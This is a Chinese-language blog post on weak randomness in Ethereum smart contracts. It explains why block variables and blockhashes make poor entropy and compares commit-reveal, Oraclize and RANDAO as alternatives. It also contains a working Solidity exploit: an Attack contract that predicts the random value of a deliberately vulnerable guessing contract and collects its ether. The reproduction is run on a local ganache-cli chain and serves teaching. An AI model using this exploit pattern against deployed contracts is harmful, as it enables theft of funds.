智能合约错误随机性

错误随机性

智能合约开发中,在程序中使用随机数较好的伪随机数是很难的。很多看似无法被预言的随机数种子或变量,实际被预言的难度很低。

核心问题:一旦在智能合约中使用了随机性很差的随机数作为关键变量,就面临着随机数被预言的攻击风险。

PRNG相关漏洞类型

开发者生成随机数时,一般都会使用伪随机数生成器(pseudo-random number generator),简称 PRNG。而有漏洞的PRNG,一般有三种类型:

  1. 使用区块变量作为熵源的 PRNG

  2. 基于过往区块(和私有种子)的区块哈希的 PRNG

  3. 易被抢占交易(front-running)的 PRNG

使用区块变量作为熵源

block.coinbase 表示当前区块的矿工地址

block.difficulty 表示当前区块的挖掘难度

block.gaslimit 区块内交易的最大限制燃气消耗量

block.number 表示当前区块高度

block.timestamp 表示当前区块挖掘时间

以上所有的区块变量都可以被矿工操纵,所以都不能用来做信息熵源。因为这些区块变量在同一区块上是共用的。攻击者通过其恶意合约调用受害者合约,那么此交易打包在同一区块中,其区块变量是一样的。

基于过往区块的区块哈希

每一个Ethereum区块链上的区块都有认证的hash值,通过 block.blockhash() 函数可以获取此值。此函数经常被错误地使用。

block.blockhash(block.number) :基于当前区块的区块哈希

block.blockhash(block.number - 1) : 基于负一区块的区块哈希

Blockhash of a future block : 使用未来区块的区块哈希

Blockhash with a private seed : 使用一个私有种子(seed)变量

基于当前区块的区块哈希

通过 block.number 变量可以获取当前区块区块高度。但是还没执行时,这个“当前区块”是一个未来区块,即只有当一个矿工拾取一个执行合约代码的交易时,这个未来区块才变为当前区块,所以合约才可以可靠地获取此区块的区块哈希。而一些合约曲解了block.blockhash(block.number) 的含义,误认为当前区块的区块哈希在运行过程中是已知的,并将之做为熵源。还有一点就是在以太坊虚拟机中(EVM),区块哈希恒为 0。

基于负一区块的区块哈希

1
uint256 random = uint256(keccak256(block.blockhash(block.number - 1)));

这样的方式,虽然理论上可以获得随机数,但这个随机数是不安全的。因为攻击者可以使用改造后的FullNode,让这笔交易可以在FullNode上执行,并获得结果后,再选择性广播那些可以符合攻击者期望的交易,即可以操纵交易的执行结果。

攻击合约只要以相同代码执行,即可以产生到同样的伪随机数。

使用未来区块的区块哈希

第一笔交易触发合约,合约存储某个未来区块高度。

第二笔交易,合约检索当前区块高度,如果超过了存储的未来区块高度,则通过区块哈希获得伪随机数结果。

然而,这种方式也有它的局限性:在TVM中,blockhash被限定为只能获取近256个高度区块的数据,因此在以上的两笔交易间隔超过256 * 3s,大约12.8分钟后,这种方式就会失效。

此方法只有在十分必要的时候才能使用。因为也存在一定危险性,EVM 能存储的区块哈希为最近的 256 条。超过的话值为 0。

易被抢占交易(front-running)

原理:更高的 gas 价格,交易将更快被矿工拾取打包。

为了获取最大的奖励,矿工通过每个交易的 gas 累积值来选择并创建新的区块。而这些交易的排序是基于它们的 gas 价格。最高的 gas 价格会先被执行。由此通过操纵 gas 价格,可以将交易的顺序排在当前区块的前面。这就会引发抢占交易问题。

复现

前提

Ganache CLI使用ethereumjs来模拟完整的客户端行为,使开发以太坊应用程序更快,更轻松,更安全。它还包括所有主流的RPC函数和功能(如event),并可以准确地运行以使开发变得容易。

在后文的复现中,由于在remix中使用VM会报错,所以会使用ganache-cli来进行模拟。

ganache-cli是用Javascript编写的,并通过npm作为Node包进行分发。安装之前首先要确保安装了Node.js(> = v6.11.5),可以使用node -v来检查自己的Node.js的版本

安装

1
npm install -g ganache-cli

image-20211109204427759

启动

1
ganache-cli

image-20211109204511611

漏洞demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.6.10;

contract GuessTheRandomNumber {
constructor() public payable {

}

//s
function guess(uint guess) public {
uint answer = uint(keccak256(abi.encodePacked(
blockhash(block.number - 1),
block.timestamp
)));

if (guess == answer) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.6.10;

contract Attack {
fallback() external payable {

}

function attack(GuessTheRandomNumber guessTheRandomNumber) public {
uint answer = uint(keccak256(abi.encodePacked(
blockhash(block.number - 1),
block.timestamp
)));

guessTheRandomNumber.guess(answer);
}

function getBalance() public view returns (uint) {
return address(this).balance;
}
}

复现过程

  • 在remix中运行的时候选择Web3 Provider,注意这里的Web3 Provider Endpoint应匹配使用ganache-cli中的端口

image-20211109204630219

  • 分别为攻击者和受害者创建智能合约

image-20211109213007345

  • 输入受害者合约地址进行攻击后,即可看到猜测成功,余额增加

image-20211109213117127

较安全伪随机数的产生方法

hash-commit-reveal

hash-commit-reveal被很多合约开发者视为随机数的最佳实践方案,已经被广泛应用于大量的DAPP中,这里我们来看看它的工作原理。

hash-commit-reveal的本质,是合约调用者和随机数提供者(通常情况下是某外部预言机)在波场区块链平台上通过一系列协议来生成随机数。

Dice2Win采用混合模式, 巧妙地解决随机数弱, 且容易被预测的问题. 其整个流程如下:
  img
  1. 玩家指定行动计划, 并生产对应的hash值.
  2. 服务端收到玩家的hash值, 产生随机值reveal, 然后根据reveal生产commit值, 把这个返回给玩家
  3. 玩家带着commit和行动信息, 在智能合约下真正下注
  4. 服务端发起结算, 带着真正的reveal值去结算
  中间的行动计划和reveal没法中途修改, 因为有hash值的验证
  其本质的思想是hash-commit-reveal, 其核心的思想是: 服务端不知道玩家的行为, 玩家不知道服务端真正的随机数. 而最终结果在合约里验证hash, 并给出预期的结果. 这样的流程, 保证玩家和服务端都满意。

此类随机数生成策略的缺点也是很明显的:高度依赖于预言机(secretSigner)对合约的回调。因此,预言机有选择性回调的作恶风险。

Oraclize

Oraclize定位为去中心化应用的数据搬运工,它作为Web APIs和DApp的可靠链接,有了Oraclize,就不需要建立额外的信任链,因为我们的行为已经被强制加密验证。

Oraclize 提供了一个连接以太坊与外部环境(互联网)的桥梁。通过 Oraclize,智能合约能够通过 web API 请求数据。如当前的兑换率,天气预报或股票价格。其中一个最大的作用是能提供伪随机数。一些合约通过 Oraclize 中的 URL 连接器来连接 random.org 来获取伪随机数。

Oraclize是一个可证明的诚实的预言机服务,可以让智能合约访问互联网,Oraclize是平台无关的,为所有主流的智能合约平台提供一种虚拟的接口,通过Oraclize投入大量有意义的数据到区块链中,可以使得智能合约产业更加繁荣,让更多有价值的应用呈现更大的生命力,Oraclize的使用方式可以参考下面的代码:

https://github.com/oraclize/ethereum-examples/blob/master/solidity/random-datasource/randomExample.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/*
Oraclize random-datasource example
This contract uses the random-datasource to securely generate off-chain N random bytes
*/

pragma solidity ^0.4.11;

import "github.com/oraclize/ethereum-api/oraclizeAPI.sol";

contract RandomExample is usingOraclize {


event newRandomNumber_bytes(bytes);
event newRandomNumber_uint(uint);

function RandomExample() {
oraclize_setProof(proofType_Ledger); // sets the Ledger authenticity proof in the constructor
update(); // let's ask for N random bytes immediately when the contract is created!
}

// the callback function is called by Oraclize when the result is ready
// the oraclize_randomDS_proofVerify modifier prevents an invalid proof to execute this function code:
// the proof validity is fully verified on-chain
function __callback(bytes32 _queryId, string _result, bytes _proof)
{
// if we reach this point successfully, it means that the attached authenticity proof has passed!
if (msg.sender != oraclize_cbAddress()) throw;

if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
// the proof verification has failed, do we need to take any action here? (depends on the use case)
} else {
// the proof verification has passed
// now that we know that the random number was safely generated, let's use it..

newRandomNumber_bytes(bytes(_result)); // this is the resulting random number (bytes)

// for simplicity of use, let's also convert the random bytes to uint if we need
uint maxRange = 2**(8* 7); // this is the highest uint we want to get. It should never be greater than 2^(8*N), where N is the number of random bytes we had asked the datasource to return
uint randomNumber = uint(sha3(_result)) % maxRange; // this is an efficient way to get the uint out in the [0, maxRange] range

newRandomNumber_uint(randomNumber); // this is the resulting random number (uint)
}
}

function update() payable {
uint N = 7; // number of random bytes we want the datasource to return
uint delay = 0; // number of seconds to wait before the execution takes place
uint callbackGas = 200000; // amount of gas we want Oraclize to set for the callback function
bytes32 queryId = oraclize_newRandomDSQuery(delay, N, callbackGas); // this function internally generates the correct oraclize_query and returns its queryId
}

}

考虑一个提供打赌的智能合约,用户调用打赌的接口,这个接口会把用户的请求存储起来,然后调用Oracle随机数生成服务,然后通过Oracle回调服务,判断随机数是否大于某个值,如果成立,那么用户成功,否则用户失败,这就是典型的Oracle的使用案例。

Randao

RANDAO 机制就是,当用户通过储存(质押)32 ETH 成为验证者之后,该用户可以任意选定一个随机数。当需要为某个区块公布随机数时,将所有验证者的随机数加起来就可以得到一个全新的随机数。

randao是一个DAO(去中心化的匿名组织)允许任何人加入,随机数由所有参与者一起合作生成,首先我们需要在区块链上创建一个RANDAO的智能合约,合约定义了参与规则,然后生成随机数的基本过程可以分为下面三个步骤:

第一步:收集有效的sha3(s):参与随机数生成的参与者,首先需要在一个指定的时间区间(比如6个区块的区间,大约72秒)发送m ETH作为抵押到智能合约C,同时发送一个sha3(s)的值到智能合约C ,s是一个只有参与者自己知道的数字
第二步:收集有效的s,在第一步结束后,那些提交了sha3(s)的参与者需要在指定的时间区间内发送s到智能合约C,智能合约C会检查sha3(s)和之前提交的值是否相同,相同的s会被保存到种子集合用来最终生成随机数。
第三步:计算随机数并退回抵押和奖金,在所有的秘密数字s被成功收集后,智能合约C会使用函数f(s1,s2,…,sn)来计算随机数,随机数的结果会写入智能合约的存储,而且结果会被发送到所有之前请求随机数的其他智能合约上面,智能合约C会把第一阶段的抵押返回给参与者,然后奖金会被分成同等分发送给所有的参与者,奖金来源于请求随机值的其他智能合约。

RNG补充规则:

为了确保RNG不能被操控,以及为了安全和效率,智能合约C有以下的补充规则:

在第一步中,如果有两个或更多个的同样的sha3(s)被提交上来,那么只有第一个会被接受
在第一步中,对于参与者有最低要求,如果在指定时间区间内没有收集到足够多的sha3(s)的值,那么RNG在这个区块高度会失败
如果参与者提交了sha3(s),那么他必须在第二步提交s
如果参与者在第二步没有提交s,那么第一阶段提供的m ETH会被没收而且没有奖励
如果一个或者多个s没有在第二步被提交,RNG在这个区块高度会失败,没收的ETH会被分成同等分发送给提交了s的其他参与者,其他申请随机数的其他合约的费用会被退回

RNG激励机制:

RNG的周期非常短,例如一个小时20个生成周期,如果没有周期的利润是0.001%,一个月的盈利会达到0.00001 * 20 * 24 * 30 = 0.144,为了达到14.4%每个月的盈利,并且RNG平均有n个参与者,运行智能合约C的费用为n * 3 * 500 * gasPrice + Ccost,CCost是合约内部的gas消费,包括计算和存储)假设每个随机值平均有r个请求,每个请求的费用是p ETH, 那么收入是r*p. 所以每个参与者每一次参与会收到rp - 1500n * gasPrice - Ccost)/n,当前的gasPrice是10 szabo, 合约的消费大概是1500n gas, 所以大概的净收入是(rp/n-0.03)ETH. 假设每个RNG有10个参与者,并且抵押是1000ETH,所以如果RNG如果只请求一次,那么一次的费用是0.4 ETH, 如果请求是10次,那么一次请求的价格会被降到0.04ETH

RANDAO作为以太坊系统的基础设施,被其他的合约调用,不同的合约因为有不同的目的所以需要不同的随机值,有些需要高度加密的,比如说抽奖;有些需要稳定的回应,并且要求立即作出回应,这些合约本身的价值不高;有些需要回调函数,当随机值已经生成的时候需要接收到通知。

但即使在这种情况下,最后一个公开随机数的人也可以在一定程度上操纵随机数。最后一个人可以选择保持沉默,以这样或那样的方式改变这个最终的随机数:房间里的最后一个人可以记住之前每个人公布的数字,如此一来,就可以知道加上(或者不加上)他提供的数字之后的最终随机数结果。如果相对于其他数字,某个数字对最后一个人更有利,那最后一个人就有动机去进行某种程度的操纵,不管程度高低。

对于这一问题,以太坊 2.0 将通过 VDF(可验证延迟函数)来解决!

……


智能合约错误随机性
http://sissice.github.io/2021/11/14/智能合约错误随机性/
作者
Sissice
发布于
2021年11月14日
许可协议